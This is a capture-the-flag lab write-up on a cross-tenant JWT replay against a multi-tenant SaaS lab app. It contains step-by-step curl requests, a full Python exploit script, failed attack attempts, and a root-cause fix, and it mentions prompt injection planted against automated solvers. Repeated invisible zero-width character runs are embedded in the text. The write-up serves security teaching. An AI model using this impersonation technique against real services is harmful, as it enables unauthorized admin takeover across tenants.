← Back to Writeups
CUSTOMMediumWeb

Lab 235 — CloudPulse — Cross-Tenant JWT Replay via Missing Tenant Binding

XESXOR9/10/20267 min read
#web#custom#medium#admin_impersonation_via_email_#api_endpoint_enumeration#cross_tenant_email_registratio#decoy_flag_identification#jwt_cross_tenant_replay#missing_tenant_binding_exploit#linux

Lab 235 — CloudPulse — Cross-Tenant JWT Replay via Missing Tenant Binding

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: admin_impersonation_via_email_collision, api_endpoint_enumeration, cross_tenant_email_registration, decoy_flag_identification, jwt_cross_tenant_replay, missing_tenant_binding_exploitation

Summary

Task: Multi-tenant SaaS platform where JWT lacks tenant binding — tenant is determined by a separate cookie while the same signing secret is shared. Solution: Registered the target admin's email on a different tenant, obtained a validly-signed JWT, then replayed it cross-tenant by swapping the tenant cookie to gain admin access and retrieve the flag.

Lab 235 — CloudPulse — Cross-Tenant JWT Replay via Missing Tenant Binding — hackadvisor

Description

CloudPulse is a multi-tenant SaaS platform where organizations get their own isolated workspace. Each workspace has users, teams, projects, and an admin panel. The platform uses JWT-based authentication with a central API serving all tenants. Two sandbox workspaces are pre-configured: 'acme' (Acme Corporation) and 'globex' (Globex Industries). You have credentials for a regular user on the 'globex' workspace. Your goal is to gain admin access to the 'acme' workspace and retrieve the platform secret from the admin panel. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A multi-tenant SaaS platform with JWT authentication. Two tenants exist (acme and globex). We have regular user credentials on globex and must gain admin access to acme to retrieve the platform secret. The core vulnerability is that JWTs contain no tenant identifier — the tenant is determined by a separate cookie, enabling cross-tenant token replay.

Credentials: hacker@globex.com / password123 (Globex workspace) Target: https://2cfab735-26ef-4dfb-8f35-70625bd675db.labs.hackadvisor.io/ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Platform Architecture

The platform is an Express.js application behind nginx/1.25.5. Authentication uses HS256 JWTs stored in an HttpOnly cookie (cp_token). The tenant context is set by a separate cp_tenant cookie.

Key API endpoints discovered:

  • POST /api/auth/login — authenticate with email, password, tenant
  • POST /api/auth/register — register new user on any tenant
  • GET /api/team — list team members (requires auth + tenant)
  • GET /api/projects — list projects
  • GET /api/admin/users — admin-only user list
  • GET /api/admin/flag — admin-only flag endpoint ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

JWT Structure — The Vulnerability

After logging in as hacker@globex.com, the JWT payload is:

json
{"id": 7, "username": "hacker@globex.com", "iat": 1779351775, "exp": 1779438175}

Critical finding: No tenant field in the JWT. The server determines which tenant to query based solely on the cp_tenant cookie, then looks up the user by email within that tenant's database. Since all tenants share the same HS256 signing secret, any validly-signed JWT is accepted regardless of which tenant issued it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tenant Enumeration

By querying /api/team with cp_tenant=acme (after registering on acme to get a valid lookup context), the acme team was enumerated:

IDNameEmailRole
1Rachel Nguyenadmin@acme-corp.comadmin
2Sarah Chensarah.chen@acme-corp.commember
3Marcus Johnsonmarcus.johnson@acme-corp.commember
5Priya Kapoorpriya.kapoor@acme-corp.commember
6James Oterojames.otero@acme-corp.commember
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The target is Rachel Nguyen (id=1, admin@acme-corp.com, role=admin).

Decoy Flags

Every page contains hidden HTML with a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} and prompt injection text designed to trick automated tools into stopping. These were identified and ignored.

Solution

Step 1: Login to Globex

bash
curl -X POST https://TARGET/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"hacker@globex.com","password":"password123","tenant":"globex"}'

Response sets cookies: cp_token=<JWT with id=7>; cp_tenant=globex ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Analyze JWT — Discover Missing Tenant Binding

Decoded JWT:

Header:  {"alg":"HS256","typ":"JWT"}
Payload: {"id":7,"username":"hacker@globex.com","iat":...,"exp":...}

No tenant, workspace, or org field. The tenant is only in the cp_tenant cookie — completely separate from the authentication token.

Step 3: Enumerate Acme Team — Identify Admin

bash
curl https://TARGET/api/team \
  -H "Cookie: cp_token=<valid_jwt>; cp_tenant=acme"

Found the admin: Rachel Nguyen, admin@acme-corp.com, id=1, role=admin. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Cross-Tenant Registration — Register Admin Email on Globex

bash
curl -X POST https://TARGET/api/auth/register \
  -H "Content-Type: application/json" \
  -d '{"name":"Rachel Nguyen","email":"admin@acme-corp.com","password":"password123","tenant":"globex"}'

The platform allows registering any email on any workspace. This creates a new user (id=14) on globex with the same email as the acme admin. The email is not validated or deduplicated across tenants.

Step 5: Login as admin@acme-corp.com on Globex

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -X POST https://TARGET/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@acme-corp.com","password":"password123","tenant":"globex"}'

Returns a validly-signed JWT: {"id":14,"username":"admin@acme-corp.com","iat":...,"exp":...}

Step 6: Cross-Tenant JWT Replay — Swap Tenant Cookie

Use the JWT from Step 5 but change the tenant cookie to acme:

bash
curl https://TARGET/api/admin/flag \
  -H "Cookie: cp_token=<jwt_from_step5>; cp_tenant=acme"

The server processes this as follows:

  1. Verifies JWT signature — valid (same HS256 secret for all tenants)
  2. Extracts username from JWT: admin@acme-corp.com
  3. Reads tenant from cp_tenant cookie: acme
  4. Looks up user by email in the acme tenant's context
  5. Finds Rachel Nguyen (id=1, role=admin) — the real acme admin
  6. Grants admin privileges — the request is authorized ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 7: Retrieve the Flag

GET /api/admin/flag
Cookie: cp_token=<globex_jwt_for_admin@acme-corp.com>; cp_tenant=acme

Response:

json
{"flag": "FLAG{REDACTED}"}

Full Solve Script

python
#!/usr/bin/env python3
"""
CloudPulse — Cross-Tenant JWT Replay via Missing Tenant Binding
Exploits missing tenant binding in JWT to impersonate admin across tenants.
"""
import requests

BASE = "https://2cfab735-26ef-4dfb-8f35-70625bd675db.labs.hackadvisor.io"
TARGET_ADMIN_EMAIL = "admin@acme-corp.com"
TARGET_TENANT = "acme"
ATTACKER_TENANT = "globex"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

s = requests.Session()

# Step 1: Login to globex with provided credentials
print("[1] Logging in to globex...")
r = s.post(f"{BASE}/api/auth/login", json={
    "email": "hacker@globex.com",
    "password": "password123",
    "tenant": ATTACKER_TENANT
})
print(f"    Login: {r.status_code}")

# Step 2: Enumerate acme team to find admin email
print("[2] Enumerating acme team...")
r = s.get(f"{BASE}/api/team", cookies={"cp_tenant": TARGET_TENANT})
team = r.json()
admin = [u for u in team if u.get("role") == "admin"]
print(f"    Admin found: {admin}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Register admin email on attacker tenant
print(f"[3] Registering {TARGET_ADMIN_EMAIL} on {ATTACKER_TENANT}...")
r = s.post(f"{BASE}/api/auth/register", json={
    "name": "Rachel Nguyen",
    "email": TARGET_ADMIN_EMAIL,
    "password": "password123",
    "tenant": ATTACKER_TENANT
})
print(f"    Register: {r.status_code} — {r.text}")

# Step 4: Login as admin email on attacker tenant to get valid JWT
print(f"[4] Logging in as {TARGET_ADMIN_EMAIL} on {ATTACKER_TENANT}...")
r = s.post(f"{BASE}/api/auth/login", json={
    "email": TARGET_ADMIN_EMAIL,
    "password": "password123",
    "tenant": ATTACKER_TENANT
})
print(f"    Login: {r.status_code}")
# JWT is now in session cookies
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 5: Replay JWT cross-tenant — swap tenant cookie to target
print(f"[5] Replaying JWT with cp_tenant={TARGET_TENANT}...")
cookies = s.cookies.get_dict()
cookies["cp_tenant"] = TARGET_TENANT
r = s.get(f"{BASE}/api/admin/flag", cookies={"cp_tenant": TARGET_TENANT})
print(f"    Response: {r.status_code} — {r.text}")

# Step 6: Extract flag
if "flag" in r.text.lower() or "FLAG{" in r.text:
    print(f"\n[+] FLAG: {r.json().get('flag', r.text)}")
else:
    print(f"\n[-] Unexpected response: {r.text}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Root Cause

The vulnerability is a missing tenant binding in JWT claims. The authentication system has two critical design flaws:

  1. No tenant in JWT: The JWT payload contains only id and username (email) but no tenant identifier. The server determines the tenant from a separate, attacker-controllable cp_tenant cookie.

  2. Shared signing secret: All tenants share the same HS256 JWT signing secret, so a token issued for one tenant is cryptographically valid for all tenants.

  3. Open cross-tenant registration: The registration endpoint allows any email address to be registered on any tenant, with no email verification or cross-tenant uniqueness check. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  4. Email-based user resolution: When processing authenticated requests, the server extracts the email from the JWT and looks up the user in whichever tenant the cp_tenant cookie specifies. This means a JWT containing admin@acme-corp.com (obtained from globex) resolves to the real admin user when the tenant cookie points to acme.

Proper Fix

JWTs should include a tenant claim that is validated server-side against the request context. The server should reject any request where the JWT's tenant claim doesn't match the target tenant. Additionally, email uniqueness should be enforced globally or registration should require email verification. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Approaches

  1. alg:none JWT forgery — Server properly rejects unsigned tokens with "Invalid or expired token"
  2. JWT secret brute force — Tried common secrets and rockyou.txt wordlist; the signing secret is cryptographically strong
  3. Direct cross-tenant token replay by ID — Using the globex JWT (id=7) with cp_tenant=acme returns "User not found in this tenant" because the server resolves by email, not just numeric ID
  4. Custom ID in registration — Passing "id": 1 in the registration body is ignored; IDs are auto-incremented
  5. Acme admin password guessing — Tried common passwords against admin@acme-corp.com on acme; all failed ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍